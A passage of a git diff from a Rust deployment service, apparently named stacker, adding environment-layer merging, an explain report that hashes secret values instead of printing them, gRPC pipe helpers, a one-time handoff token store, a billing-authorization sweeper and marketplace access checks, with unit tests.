+    };
+
+    #[test]
+    fn runtime_env_contract_is_stable() {
+        let contract = runtime_env_contract_response();
+
+        assert_eq!(contract.version, RUNTIME_ENV_CONTRACT_VERSION);
+        assert_eq!(contract.order, RUNTIME_ENV_PRECEDENCE_ORDER);
+        assert_eq!(
+            runtime_env_layer_names(),
+            vec![
+                RUNTIME_ENV_LAYER_BASE,
+                RUNTIME_ENV_LAYER_SERVER,
+                RUNTIME_ENV_LAYER_SERVICE,
+                RUNTIME_ENV_LAYER_COMPOSE,
+            ]
+        );
+        assert_eq!(contract.layers.len(), 4);
+        assert_eq!(contract.layers[0].precedence, 1);
+        assert_eq!(contract.layers[3].precedence, 4);
+    }
+}
diff --git a/src/services/env_model.rs b/src/services/env_model.rs
new file mode 100644
index 00000000..2983d337
--- /dev/null
+++ b/src/services/env_model.rs
@@ -0,0 +1,228 @@
+use serde_json::Value;
+use std::collections::{BTreeMap, HashMap, HashSet};
+
+pub const RENDER_HEADER: &str = "# stacker-render ";
+
+#[derive(Debug, Clone, Copy)]
+pub struct EnvLayer<'a> {
+    pub name: &'static str,
+    pub entries: &'a HashMap<String, String>,
+    pub include_in_inputs: bool,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ReconciledEnv {
+    pub entries: BTreeMap<String, String>,
+    pub inputs: Vec<&'static str>,
+}
+
+pub fn reconcile_env_layers(layers: &[EnvLayer<'_>]) -> ReconciledEnv {
+    let mut entries = BTreeMap::new();
+    let mut inputs = Vec::new();
+
+    for layer in layers {
+        if layer.entries.is_empty() {
+            continue;
+        }
+
+        if layer.include_in_inputs {
+            inputs.push(layer.name);
+        }
+
+        for (key, value) in layer.entries {
+            entries.insert(key.clone(), value.clone());
+        }
+    }
+
+    ReconciledEnv { entries, inputs }
+}
+
+pub fn reconcile_env_file_content(existing_content: &str, rendered_env_content: &str) -> String {
+    let authored_content = strip_rendered_env_block(existing_content);
+    let rendered_keys: HashSet<String> = parse_env_assignments(rendered_env_content)
+        .into_keys()
+        .collect();
+
+    let authored_lines: Vec<&str> = authored_content
+        .lines()
+        .filter(|line| !should_remove_authored_line(line, &rendered_keys))
+        .collect();
+
+    let authored_content = authored_lines.join("\n");
+    let authored_content = authored_content.trim_end();
+    if authored_content.is_empty() {
+        return rendered_env_content.to_string();
+    }
+
+    format!("{authored_content}\n\n{rendered_env_content}")
+}
+
+pub fn strip_rendered_env_block(existing_content: &str) -> &str {
+    match existing_content.find(RENDER_HEADER) {
+        Some(0) => "",
+        Some(index) => &existing_content[..index],
+        None => existing_content,
+    }
+}
+
+pub fn parse_env_assignments(content: &str) -> BTreeMap<String, String> {
+    content.lines().filter_map(parse_env_assignment).collect()
+}
+
+pub fn normalize_json_env(env: &Value) -> BTreeMap<String, String> {
+    match env {
+        Value::Object(map) => map
+            .iter()
+            .map(|(key, value)| (key.clone(), stringify_json_env_value(value)))
+            .collect(),
+        Value::Array(items) => items
+            .iter()
+            .filter_map(|item| item.as_str().and_then(parse_env_assignment))
+            .collect(),
+        _ => BTreeMap::new(),
+    }
+}
+
+pub fn normalize_optional_json_env(env: Option<&Value>) -> BTreeMap<String, String> {
+    env.map(normalize_json_env).unwrap_or_default()
+}
+
+fn should_remove_authored_line(line: &str, rendered_keys: &HashSet<String>) -> bool {
+    parse_env_assignment(line)
+        .map(|(key, _)| rendered_keys.contains(&key))
+        .unwrap_or(false)
+}
+
+fn parse_env_assignment(line: &str) -> Option<(String, String)> {
+    let line = line.trim();
+    if line.is_empty() || line.starts_with('#') {
+        return None;
+    }
+
+    let line = line
+        .strip_prefix("export ")
+        .map(str::trim_start)
+        .unwrap_or(line);
+
+    if let Some((key, value)) = line.split_once('=') {
+        return Some((key.trim().to_string(), value.trim().to_string()));
+    }
+
+    line.split_once(':')
+        .map(|(key, value)| (key.trim().to_string(), value.trim().to_string()))
+}
+
+fn stringify_json_env_value(value: &Value) -> String {
+    match value {
+        Value::String(text) => text.clone(),
+        Value::Number(number) => number.to_string(),
+        Value::Bool(flag) => flag.to_string(),
+        other => other.to_string(),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        normalize_json_env, normalize_optional_json_env, parse_env_assignments,
+        reconcile_env_file_content, reconcile_env_layers, EnvLayer,
+    };
+    use serde_json::json;
+    use std::collections::HashMap;
+
+    #[test]
+    fn reconcile_env_layers_applies_precedence_by_order() {
+        let base = HashMap::from([("SHARED".to_string(), "base".to_string())]);
+        let service = HashMap::from([("SHARED".to_string(), "service".to_string())]);
+
+        let reconciled = reconcile_env_layers(&[
+            EnvLayer {
+                name: "base",
+                entries: &base,
+                include_in_inputs: true,
+            },
+            EnvLayer {
+                name: "service",
+                entries: &service,
+                include_in_inputs: true,
+            },
+        ]);
+
+        assert_eq!(
+            reconciled.entries.get("SHARED").map(String::as_str),
+            Some("service")
+        );
+        assert_eq!(reconciled.inputs, vec!["base", "service"]);
+    }
+
+    #[test]
+    fn reconcile_env_file_content_replaces_overridden_authored_keys() {
+        let existing = "RUST_LOG=debug\nS3_BUCKET=local\n# comment\n";
+        let rendered =
+            "# stacker-render version=2 hash=new generated_at=now inputs=service\nS3_BUCKET=remote\n";
+
+        let merged = reconcile_env_file_content(existing, rendered);
+
+        assert_eq!(
+            merged,
+            "RUST_LOG=debug\n# comment\n\n# stacker-render version=2 hash=new generated_at=now inputs=service\nS3_BUCKET=remote\n"
+        );
+    }
+
+    #[test]
+    fn reconcile_env_file_content_removes_previous_rendered_block() {
+        let existing = "RUST_LOG=debug\n\n# stacker-render version=1 hash=old generated_at=now inputs=service\nOLD_SECRET=outdated\n";
+        let rendered =
+            "# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n";
+
+        let merged = reconcile_env_file_content(existing, rendered);
+
+        assert_eq!(
+            merged,
+            "RUST_LOG=debug\n\n# stacker-render version=2 hash=new generated_at=now inputs=service\nNEW_SECRET=fresh\n"
+        );
+        assert!(!merged.contains("OLD_SECRET=outdated"));
+    }
+
+    #[test]
+    fn parse_env_assignments_skips_comments_and_headers() {
+        let parsed = parse_env_assignments(
+            "# comment\n# stacker-render version=1 hash=abc generated_at=now inputs=base\nFOO=bar\nexport BAR=baz\n",
+        );
+
+        assert_eq!(parsed.get("FOO").map(String::as_str), Some("bar"));
+        assert_eq!(parsed.get("BAR").map(String::as_str), Some("baz"));
+        assert_eq!(parsed.len(), 2);
+    }
+
+    #[test]
+    fn normalize_json_env_handles_object_and_array_inputs() {
+        let object = normalize_json_env(&json!({
+            "DATABASE_URL": "postgres://localhost/db",
+            "PORT": 8080,
+            "DEBUG": true
+        }));
+        let array = normalize_json_env(&json!([
+            "DATABASE_URL=postgres://localhost/db",
+            "PORT=8080"
+        ]));
+
+        assert_eq!(
+            object.get("DATABASE_URL").map(String::as_str),
+            Some("postgres://localhost/db")
+        );
+        assert_eq!(object.get("PORT").map(String::as_str), Some("8080"));
+        assert_eq!(object.get("DEBUG").map(String::as_str), Some("true"));
+        assert_eq!(
+            array.get("DATABASE_URL").map(String::as_str),
+            Some("postgres://localhost/db")
+        );
+        assert_eq!(array.get("PORT").map(String::as_str), Some("8080"));
+    }
+
+    #[test]
+    fn normalize_optional_json_env_defaults_to_empty_map() {
+        let normalized = normalize_optional_json_env(None);
+        assert!(normalized.is_empty());
+    }
+}
diff --git a/src/services/explain.rs b/src/services/explain.rs
new file mode 100644
index 00000000..2117ce9e
--- /dev/null
+++ b/src/services/explain.rs
@@ -0,0 +1,267 @@
+use std::collections::{BTreeMap, HashMap};
+
+use serde::{Deserialize, Serialize};
+use sha2::{Digest, Sha256};
+
+use crate::services::config_renderer::{render_env, EnvRenderError, EnvRenderInput};
+
+pub const EXPLAIN_SCHEMA_VERSION: &str = "v1alpha1";
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct ExplainEnv {
+    pub schema_version: String,
+    pub deployment_hash: String,
+    pub app_code: String,
+    pub local_authoring_env_path: String,
+    pub runtime_env_path: String,
+    pub runtime_compose_path: String,
+    pub layers: Vec<ExplainEnvLayer>,
+    pub destination: ExplainDestination,
+    pub rendered_env: ExplainRenderedEnv,
+    pub reasoning: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct ExplainEnvLayer {
+    pub name: String,
+    pub key_names: Vec<String>,
+    pub key_count: usize,
+    pub hash: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct ExplainDestination {
+    pub path: String,
+    pub write_policy: String,
+    pub drift_protection: bool,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct ExplainRenderedEnv {
+    pub hash: String,
+    pub inputs: Vec<String>,
+    pub server_secrets_inherited: bool,
+    pub service_secrets_override_server_secrets: bool,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct ExplainTopology {
+    pub schema_version: String,
+    pub deployment_hash: String,
+    pub target: String,
+    pub local_compose_path: String,
+    pub runtime_compose_path: String,
+    pub local_authoring_env_path: String,
+    pub runtime_env_path: String,
+    pub services: Vec<ExplainTopologyService>,
+    pub reasoning: Vec<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct ExplainTopologyService {
+    pub code: String,
+    pub name: String,
+    pub enabled: bool,
+}
+
+pub fn build_explain_env(
+    deployment_hash: &str,
+    app_code: &str,
+    local_authoring_env_path: &str,
+    runtime_env_path: &str,
+    runtime_compose_path: &str,
+    input: EnvRenderInput,
+) -> Result<ExplainEnv, EnvRenderError> {
+    let rendered = render_env(input.clone())?;
+    let overlapping_keys = input
+        .service
+        .keys()
+        .any(|key| input.server.contains_key(key) && input.inherit_server_secrets);
+
+    Ok(ExplainEnv {
+        schema_version: EXPLAIN_SCHEMA_VERSION.to_string(),
+        deployment_hash: deployment_hash.to_string(),
+        app_code: app_code.to_string(),
+        local_authoring_env_path: local_authoring_env_path.to_string(),
+        runtime_env_path: runtime_env_path.to_string(),
+        runtime_compose_path: runtime_compose_path.to_string(),
+        layers: env_layers(&input),
+        destination: ExplainDestination {
+            path: runtime_env_path.to_string(),
+            write_policy: "drift-protected".to_string(),
+            drift_protection: true,
+        },
+        rendered_env: ExplainRenderedEnv {
+            hash: rendered.hash,
+            inputs: rendered
+                .inputs
+                .iter()
+                .map(|item| item.to_string())
+                .collect(),
+            server_secrets_inherited: input.inherit_server_secrets,
+            service_secrets_override_server_secrets: overlapping_keys,
+        },
+        reasoning: vec![
+            "runtime env path is resolved from the canonical remote env path helper".to_string(),
+            "env layers are merged in precedence order: base -> generated -> server -> service -> compose"
+                .to_string(),
+        ],
+    })
+}
+
+pub fn build_explain_topology(
+    deployment_hash: &str,
+    target: &str,
+    local_compose_path: &str,
+    runtime_compose_path: &str,
+    local_authoring_env_path: &str,
+    runtime_env_path: &str,
+    services: Vec<ExplainTopologyService>,
+) -> ExplainTopology {
+    ExplainTopology {
+        schema_version: EXPLAIN_SCHEMA_VERSION.to_string(),
+        deployment_hash: deployment_hash.to_string(),
+        target: target.to_string(),
+        local_compose_path: local_compose_path.to_string(),
+        runtime_compose_path: runtime_compose_path.to_string(),
+        local_authoring_env_path: local_authoring_env_path.to_string(),
+        runtime_env_path: runtime_env_path.to_string(),
+        services,
+        reasoning: vec![
+            "runtime compose path is fixed to the canonical remote deployment location".to_string(),
+            "runtime env path is shared across deployed services for the target deployment"
+                .to_string(),
+        ],
+    }
+}
+
+fn env_layers(input: &EnvRenderInput) -> Vec<ExplainEnvLayer> {
+    let mut layers = Vec::new();
+
+    if !input.base.is_empty() {
+        layers.push(to_layer("base", &input.base));
+    }
+    if !input.generated.is_empty() {
+        layers.push(to_layer("generated", &input.generated));
+    }
+    if input.inherit_server_secrets && !input.server.is_empty() {
+        layers.push(to_layer("server", &input.server));
+    }
+    if !input.service.is_empty() {
+        layers.push(to_layer("service", &input.service));
+    }
+    if !input.compose_environment.is_empty() {
+        layers.push(to_layer("compose", &input.compose_environment));
+    }
+
+    layers
+}
+
+fn to_layer(name: &str, layer: &HashMap<String, String>) -> ExplainEnvLayer {
+    let ordered = layer
+        .iter()
+        .map(|(key, value)| (key.clone(), value.clone()))
+        .collect::<BTreeMap<_, _>>();
+    let digest_source = ordered
+        .iter()
+        .map(|(key, value)| format!("{key}={value}"))
+        .collect::<Vec<_>>()
+        .join("\n");
+
+    ExplainEnvLayer {
+        name: name.to_string(),
+        key_names: ordered.keys().cloned().collect(),
+        key_count: ordered.len(),
+        hash: format!("{:x}", Sha256::digest(digest_source.as_bytes())),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::helpers::{remote_runtime_compose_path, remote_runtime_env_path};
+
+    fn sample_input() -> EnvRenderInput {
+        let mut input = EnvRenderInput {
+            inherit_server_secrets: true,
+            ..EnvRenderInput::default()
+        };
+        input.base.insert("HOST".to_string(), "0.0.0.0".to_string());
+        input.base.insert("PORT".to_string(), "8080".to_string());
+        input.server.insert(
+            "DATABASE_URL".to_string(),
+            "SUPER_SECRET_SHOULD_NOT_LEAK".to_string(),
+        );
+        input
+            .service
+            .insert("DATABASE_URL".to_string(), "service-override".to_string());
+        input
+            .compose_environment
+            .insert("RUST_LOG".to_string(), "debug".to_string());
+        input.generated.insert(
+            "DEPLOYMENT_HASH".to_string(),
+            "deployment_state_online".to_string(),
+        );
+        input
+    }
+
+    #[test]
+    fn build_explain_env_uses_hashes_and_paths_without_secret_values() {
+        let explain = build_explain_env(
+            "deployment_state_online",
+            "device-api",
+            "docker/prod/.env",
+            remote_runtime_env_path(),
+            remote_runtime_compose_path(),
+            sample_input(),
+        )
+        .expect("explain env should build");
+
+        assert_eq!(explain.schema_version, EXPLAIN_SCHEMA_VERSION);
+        assert_eq!(explain.destination.path, remote_runtime_env_path());
+        assert!(explain.rendered_env.service_secrets_override_server_secrets);
+        assert!(explain.layers.iter().any(|layer| layer.name == "generated"));
+        assert!(!explain
+            .rendered_env
+            .inputs
+            .contains(&"generated".to_string()));
+
+        let serialized = serde_json::to_string(&explain).expect("serialize explain env");
+        assert!(!serialized.contains("SUPER_SECRET_SHOULD_NOT_LEAK"));
+        assert!(serialized.contains("DATABASE_URL"));
+    }
+
+    #[test]
+    fn build_explain_topology_uses_canonical_runtime_paths() {
+        let topology = build_explain_topology(
+            "deployment_state_online",
+            "cloud",
+            "docker/prod/compose.yml",
+            remote_runtime_compose_path(),
+            "docker/prod/.env",
+            remote_runtime_env_path(),
+            vec![
+                ExplainTopologyService {
+                    code: "device-api".to_string(),
+                    name: "Device API".to_string(),
+                    enabled: true,
+                },
+                ExplainTopologyService {
+                    code: "upload".to_string(),
+                    name: "Upload".to_string(),
+                    enabled: true,
+                },
+            ],
+        );
+
+        assert_eq!(topology.runtime_compose_path, remote_runtime_compose_path());
+        assert_eq!(topology.runtime_env_path, remote_runtime_env_path());
+        assert_eq!(topology.services.len(), 2);
+    }
+}
diff --git a/src/services/grpc_pipe.rs b/src/services/grpc_pipe.rs
new file mode 100644
index 00000000..8fa3812a
--- /dev/null
+++ b/src/services/grpc_pipe.rs
@@ -0,0 +1,200 @@
+use serde_json::Value as JsonValue;
+
+pub mod pipe_proto {
+    tonic::include_proto!("pipe");
+}
+
+use pipe_proto::pipe_service_client::PipeServiceClient;
+use pipe_proto::{PipeMessage, SubscribeRequest};
+
+/// Subscribe to a gRPC streaming source and read the first message.
+/// If `config.output` is set, returns it directly (simulation mode for BDD tests).
+pub async fn execute_grpc_source(
+    config: &JsonValue,
+    _input: &JsonValue,
+) -> Result<JsonValue, String> {
+    if let Some(output) = config.get("output") {
+        return Ok(output.clone());
+    }
+
+    let endpoint = config
+        .get("endpoint")
+        .and_then(|v| v.as_str())
+        .ok_or_else(|| "grpc_source requires 'endpoint' in config".to_string())?;
+
+    let pipe_instance_id = config
+        .get("pipe_instance_id")
+        .and_then(|v| v.as_str())
+        .unwrap_or("unknown")
+        .to_string();
+
+    let step_id = config
+        .get("step_id")
+        .and_then(|v| v.as_str())
+        .unwrap_or("unknown")
+        .to_string();
+
+    let mut client = PipeServiceClient::connect(endpoint.to_string())
+        .await
+        .map_err(|e| format!("grpc_source connect failed: {e}"))?;
+
+    let request = tonic::Request::new(SubscribeRequest {
+        pipe_instance_id,
+        step_id,
+        filters: Default::default(),
+    });
+
+    let mut stream = client
+        .subscribe(request)
+        .await
+        .map_err(|e| format!("grpc_source subscribe failed: {e}"))?
+        .into_inner();
+
+    match stream.message().await {
+        Ok(Some(msg)) => {
+            let payload = msg
+                .payload
+                .map(|s| struct_to_json(&s))
+                .unwrap_or_else(|| serde_json::json!({}));
+            Ok(payload)
+        }
+        Ok(None) => Err("grpc_source: stream closed without data".to_string()),
+        Err(e) => Err(format!("grpc_source read error: {e}")),
+    }
+}
+
+/// Send data to a gRPC pipe target via unary RPC.
+/// If `config.output` is set, returns it directly (simulation mode).
+pub async fn execute_grpc_target(
+    config: &JsonValue,
+    input: &JsonValue,
+) -> Result<JsonValue, String> {
+    if let Some(output) = config.get("output") {
+        return Ok(output.clone());
+    }
+
+    let endpoint = config
+        .get("endpoint")
+        .and_then(|v| v.as_str())
+        .ok_or_else(|| "grpc_target requires 'endpoint' in config".to_string())?;
+
+    let pipe_instance_id = config
+        .get("pipe_instance_id")
+        .and_then(|v| v.as_str())
+        .unwrap_or("unknown")
+        .to_string();
+
+    let step_id = config
+        .get("step_id")
+        .and_then(|v| v.as_str())
+        .unwrap_or("unknown")
+        .to_string();
+
+    let mut client = PipeServiceClient::connect(endpoint.to_string())
+        .await
+        .map_err(|e| format!("grpc_target connect failed: {e}"))?;
+
+    let payload_struct = json_to_struct(input);
+
+    let request = tonic::Request::new(PipeMessage {
+        pipe_instance_id,
+        step_id,
+        payload: Some(payload_struct),
+        timestamp_ms: chrono::Utc::now().timestamp_millis(),
+    });
+
+    let response = client
+        .send(request)
+        .await
+        .map_err(|e| format!("grpc_target send failed: {e}"))?
+        .into_inner();
+
+    Ok(serde_json::json!({
+        "grpc_delivered": response.success,
+        "message": response.message,
+        "data": input,
+    }))
+}
+
+// ── Conversion helpers: serde_json ↔ prost_types::Struct ──
+
+fn json_to_struct(value: &JsonValue) -> prost_types::Struct {
+    let fields = match value.as_object() {
+        Some(map) => map
+            .iter()
+            .map(|(k, v)| (k.clone(), json_to_prost_value(v)))
+            .collect(),
+        None => Default::default(),
+    };
+    prost_types::Struct { fields }
+}
+
+fn json_to_prost_value(value: &JsonValue) -> prost_types::Value {
+    use prost_types::value::Kind;
+    let kind = match value {
+        JsonValue::Null => Kind::NullValue(0),
+        JsonValue::Bool(b) => Kind::BoolValue(*b),
+        JsonValue::Number(n) => Kind::NumberValue(n.as_f64().unwrap_or(0.0)),
+        JsonValue::String(s) => Kind::StringValue(s.clone()),
+        JsonValue::Array(arr) => Kind::ListValue(prost_types::ListValue {
+            values: arr.iter().map(json_to_prost_value).collect(),
+        }),
+        JsonValue::Object(_) => Kind::StructValue(json_to_struct(value)),
+    };
+    prost_types::Value { kind: Some(kind) }
+}
+
+fn struct_to_json(s: &prost_types::Struct) -> JsonValue {
+    let map: serde_json::Map<String, JsonValue> = s
+        .fields
+        .iter()
+        .map(|(k, v)| (k.clone(), prost_value_to_json(v)))
+        .collect();
+    JsonValue::Object(map)
+}
+
+fn prost_value_to_json(v: &prost_types::Value) -> JsonValue {
+    use prost_types::value::Kind;
+    match &v.kind {
+        Some(Kind::NullValue(_)) => JsonValue::Null,
+        Some(Kind::BoolValue(b)) => JsonValue::Bool(*b),
+        Some(Kind::NumberValue(n)) => serde_json::json!(*n),
+        Some(Kind::StringValue(s)) => JsonValue::String(s.clone()),
+        Some(Kind::ListValue(list)) => {
+            JsonValue::Array(list.values.iter().map(prost_value_to_json).collect())
+        }
+        Some(Kind::StructValue(s)) => struct_to_json(s),
+        None => JsonValue::Null,
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_json_struct_roundtrip() {
+        let original = serde_json::json!({"name": "test", "count": 42, "active": true});
+        let proto_struct = json_to_struct(&original);
+        let back = struct_to_json(&proto_struct);
+        assert_eq!(back["name"], "test");
+        assert_eq!(back["count"], 42.0);
+        assert_eq!(back["active"], true);
+    }
+
+    #[tokio::test]
+    async fn test_grpc_source_simulation() {
+        let config = serde_json::json!({"output": {"metric": "cpu", "value": 72.1}});
+        let input = serde_json::json!({});
+        let result = execute_grpc_source(&config, &input).await.unwrap();
+        assert_eq!(result["metric"], "cpu");
+    }
+
+    #[tokio::test]
+    async fn test_grpc_target_simulation() {
+        let config = serde_json::json!({"output": {"grpc_delivered": true}});
+        let input = serde_json::json!({"data": 1});
+        let result = execute_grpc_target(&config, &input).await.unwrap();
+        assert!(result["grpc_delivered"].as_bool().unwrap());
+    }
+}
diff --git a/src/services/handoff.rs b/src/services/handoff.rs
new file mode 100644
index 00000000..5847cd6b
--- /dev/null
+++ b/src/services/handoff.rs
@@ -0,0 +1,58 @@
+use crate::handoff::DeploymentHandoffPayload;
+use chrono::Utc;
+use rand::{distributions::Alphanumeric, Rng};
+use std::collections::HashMap;
+use std::sync::RwLock;
+
+pub struct InMemoryHandoffStore {
+    entries: RwLock<HashMap<String, DeploymentHandoffPayload>>,
+}
+
+impl InMemoryHandoffStore {
+    pub fn new() -> Self {
+        Self {
+            entries: RwLock::new(HashMap::new()),
+        }
+    }
+
+    pub fn insert(&self, payload: DeploymentHandoffPayload) -> String {
+        self.prune_expired();
+        let token = rand::thread_rng()
+            .sample_iter(&Alphanumeric)
+            .take(40)
+            .map(char::from)
+            .collect::<String>();
+        self.entries
+            .write()
+            .expect("handoff store poisoned")
+            .insert(token.clone(), payload);
+        token
+    }
+
+    pub fn resolve_once(&self, token: &str) -> Option<DeploymentHandoffPayload> {
+        self.prune_expired();
+        let payload = self
+            .entries
+            .write()
+            .expect("handoff store poisoned")
+            .remove(token)?;
+        if payload.expires_at <= Utc::now() {
+            return None;
+        }
+        Some(payload)
+    }
+
+    fn prune_expired(&self) {
+        let now = Utc::now();
+        self.entries
+            .write()
+            .expect("handoff store poisoned")
+            .retain(|_, payload| payload.expires_at > now);
+    }
+}
+
+impl Default for InMemoryHandoffStore {
+    fn default() -> Self {
+        Self::new()
+    }
+}
diff --git a/src/services/install_authorization_sweeper.rs b/src/services/install_authorization_sweeper.rs
new file mode 100644
index 00000000..bc80bb5e
--- /dev/null
+++ b/src/services/install_authorization_sweeper.rs
@@ -0,0 +1,114 @@
+//! Background sweeper for expired per-install billing authorizations.
+//!
+//! An authorization can end up "stuck" in the `authorized` state if the
+//! deploy pipeline never confirms via `deploy_complete_handler` — the
+//! agent crashed, the server never came up, the user Ctrl-C'd before
+//! confirmation, etc. The sweeper voids these once they pass their TTL
+//! so the buyer isn't stuck holding a live authorization on their card
+//! and stacker's ledger reconciles with user_service's.
+//!
+//! Correctness invariant: this sweeper is a **cleanup tool**, not the
+//! source of truth. user_service's own `expires_at` on the underlying
+//! payment intent auto-voids independently — if the sweeper is down or
+//! never runs, the authorization still lapses at the payment provider.
+//! What the sweeper adds is prompt DB-state reconciliation.
+
+use std::sync::Arc;
+use std::time::Duration;
+
+use chrono::Utc;
+use sqlx::PgPool;
+
+use crate::connectors::errors::ConnectorError;
+use crate::connectors::user_service::UserServiceConnector;
+use crate::db;
+
+/// How often the sweeper checks for expired authorizations.
+const TICK: Duration = Duration::from_secs(60);
+
+/// How far past `expires_at` we let a row linger before voiding, giving
+/// deploy-complete a grace window to arrive after the TTL fires.
+const GRACE_SECS: i64 = 300;
+
+/// How many rows we void per tick. Voids are one-round-trip each and
+/// user_service will rate-limit us if we're too aggressive.
+const BATCH_LIMIT: i64 = 500;
+
+pub fn spawn(
+    pg_pool: PgPool,
+    user_service: Arc<dyn UserServiceConnector>,
+    per_install_enabled: bool,
+) {
+    if !per_install_enabled {
+        tracing::info!("install_authorization_sweeper skipped: per_install billing disabled");
+        return;
+    }
+    tokio::spawn(async move {
+        tracing::info!("install_authorization_sweeper started (tick={:?})", TICK);
+        loop {
+            tokio::time::sleep(TICK).await;
+            if let Err(err) = tick_once(&pg_pool, user_service.as_ref()).await {
+                tracing::warn!("install_authorization_sweeper tick error: {}", err);
+            }
+        }
+    });
+}
+
+async fn tick_once(pool: &PgPool, user_service: &dyn UserServiceConnector) -> Result<(), String> {
+    let cutoff = Utc::now() - chrono::Duration::seconds(GRACE_SECS);
+    let expired =
+        db::marketplace_billing::list_expired_authorized(pool, cutoff, BATCH_LIMIT).await?;
+    if expired.is_empty() {
+        return Ok(());
+    }
+    tracing::info!(
+        "install_authorization_sweeper: voiding {} expired authorization(s)",
+        expired.len()
+    );
+    let service_token = std::env::var("STACKER_SERVICE_TOKEN").unwrap_or_default();
+    for row in expired {
+        match user_service
+            .void_install_charge(&service_token, &row.authorization_id, "expired")
+            .await
+        {
+            Ok(_) => {
+                if let Err(err) =
+                    db::marketplace_billing::mark_voided(pool, &row.authorization_id, "expired")
+                        .await
+                {
+                    tracing::warn!(
+                        "sweeper mark_voided DB error for {}: {}",
+                        row.authorization_id,
+                        err
+                    );
+                }
+            }
+            Err(ConnectorError::Conflict(_)) => {
+                // user_service says the authorization is not in the
+                // `authorized` state — most likely already captured out
+                // of band. Reconcile our local view.
+                tracing::info!(
+                    "sweeper reconciling {} as captured (user_service returned 409)",
+                    row.authorization_id
+                );
+                if let Err(err) =
+                    db::marketplace_billing::mark_captured(pool, &row.authorization_id).await
+                {
+                    tracing::warn!(
+                        "sweeper mark_captured DB error for {}: {}",
+                        row.authorization_id,
+                        err
+                    );
+                }
+            }
+            Err(err) => {
+                tracing::warn!(
+                    "sweeper void failed for {}: {} (will retry next tick)",
+                    row.authorization_id,
+                    err
+                );
+            }
+        }
+    }
+    Ok(())
+}
diff --git a/src/services/marketplace_access.rs b/src/services/marketplace_access.rs
new file mode 100644
index 00000000..b269703f
--- /dev/null
+++ b/src/services/marketplace_access.rs
@@ -0,0 +1,807 @@
+use std::sync::Arc;
+
+use crate::connectors::{errors::ConnectorError, user_service::UserServiceConnector};
+use crate::models;
+
+const MARKETPLACE_INSTALL_MIN_PLAN: &str = "professional";
+
+#[derive(Debug)]
+pub enum MarketplaceAccessError {
+    MissingUserToken,
+    InsufficientFeaturePlan,
+    InsufficientTemplatePlan {
+        required_plan: String,
+    },
+    TemplateNotOwned,
+    /// The template is priced per-install and the user has no viable
+    /// payment method on file (declined at the `can_charge` probe, before
+    /// any authorize attempt).
+    NoPaymentMethod {
+        reason: String,
+    },
+    ValidationFailed(String),
+}
+
+impl std::fmt::Display for MarketplaceAccessError {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::MissingUserToken => {
+                write!(f, "User token is required to validate marketplace access")
+            }
+            Self::InsufficientFeaturePlan => write!(
+                f,
+                "Marketplace installs are available on Pro and Team plans"
+            ),
+            Self::InsufficientTemplatePlan { required_plan } => write!(
+                f,
+                "This template requires a '{}' subscription",
+                required_plan
+            ),
+            Self::TemplateNotOwned => {
+                write!(f, "You must purchase this template before installing it")
+            }
+            Self::NoPaymentMethod { reason } => write!(
+                f,
+                "A valid payment method is required to install this template ({})",
+                reason
+            ),
+            Self::ValidationFailed(reason) => {
+                write!(f, "Failed to validate marketplace access: {}", reason)
+            }
+        }
+    }
+}
+
+impl std::error::Error for MarketplaceAccessError {}
+
+fn validation_failed(err: ConnectorError) -> MarketplaceAccessError {
+    MarketplaceAccessError::ValidationFailed(err.to_string())
+}
+
+async fn user_owns_template_by_any_identifier(
+    user_service: &Arc<dyn UserServiceConnector>,
+    user_token: &str,
+    template: &models::StackTemplate,
+) -> Result<bool, MarketplaceAccessError> {
+    let identifiers = [
+        template.product_id.map(|id| id.to_string()),
+        Some(template.id.to_string()),
+        Some(template.slug.clone()),
+    ];
+
+    for identifier in identifiers.into_iter().flatten() {
+        if user_service
+            .user_owns_template(user_token, &identifier)
+            .await
+            .map_err(validation_failed)?
+        {
+            return Ok(true);
+        }
+    }
+
+    Ok(false)
+}
+
+pub async fn validate_marketplace_template_access(
+    user_service: &Arc<dyn UserServiceConnector>,
+    user: &models::User,
+    template: &models::StackTemplate,
+) -> Result<(), MarketplaceAccessError> {
+    let user_token = user
+        .access_token
+        .as_deref()
+        .ok_or(MarketplaceAccessError::MissingUserToken)?;
+
+    let has_feature_plan = user_service
+        .user_has_plan(&user.id, MARKETPLACE_INSTALL_MIN_PLAN, Some(user_token))
+        .await
+        .map_err(validation_failed)?;
+    if !has_feature_plan {
+        return Err(MarketplaceAccessError::InsufficientFeaturePlan);
+    }
+
+    if let Some(required_plan) = template
+        .required_plan_name
+        .as_deref()
+        .map(str::trim)
+        .filter(|plan| !plan.is_empty())
+    {
+        let has_template_plan = user_service
+            .user_has_plan(&user.id, required_plan, Some(user_token))
+            .await
+            .map_err(validation_failed)?;
+        if !has_template_plan {
+            return Err(MarketplaceAccessError::InsufficientTemplatePlan {
+                required_plan: required_plan.to_string(),
+            });
+        }
+    }
+
+    let is_per_install = template
+        .billing_cycle
+        .as_deref()
+        .map(|c| c.trim().eq_ignore_ascii_case("per_install"))
+        .unwrap_or(false);
+
+    // Per-install templates skip the ownership check entirely — there is no
+    // permanent purchase for these. Instead we probe the user's payment
+    // capability so `stacker install` fails fast with a clear 402 if the
+    // user has no card on file, rather than deep inside the install handler
+    // after the actual authorize attempt.
+    if is_per_install {
+        let capability = user_service
+            .can_charge(user_token)
+            .await
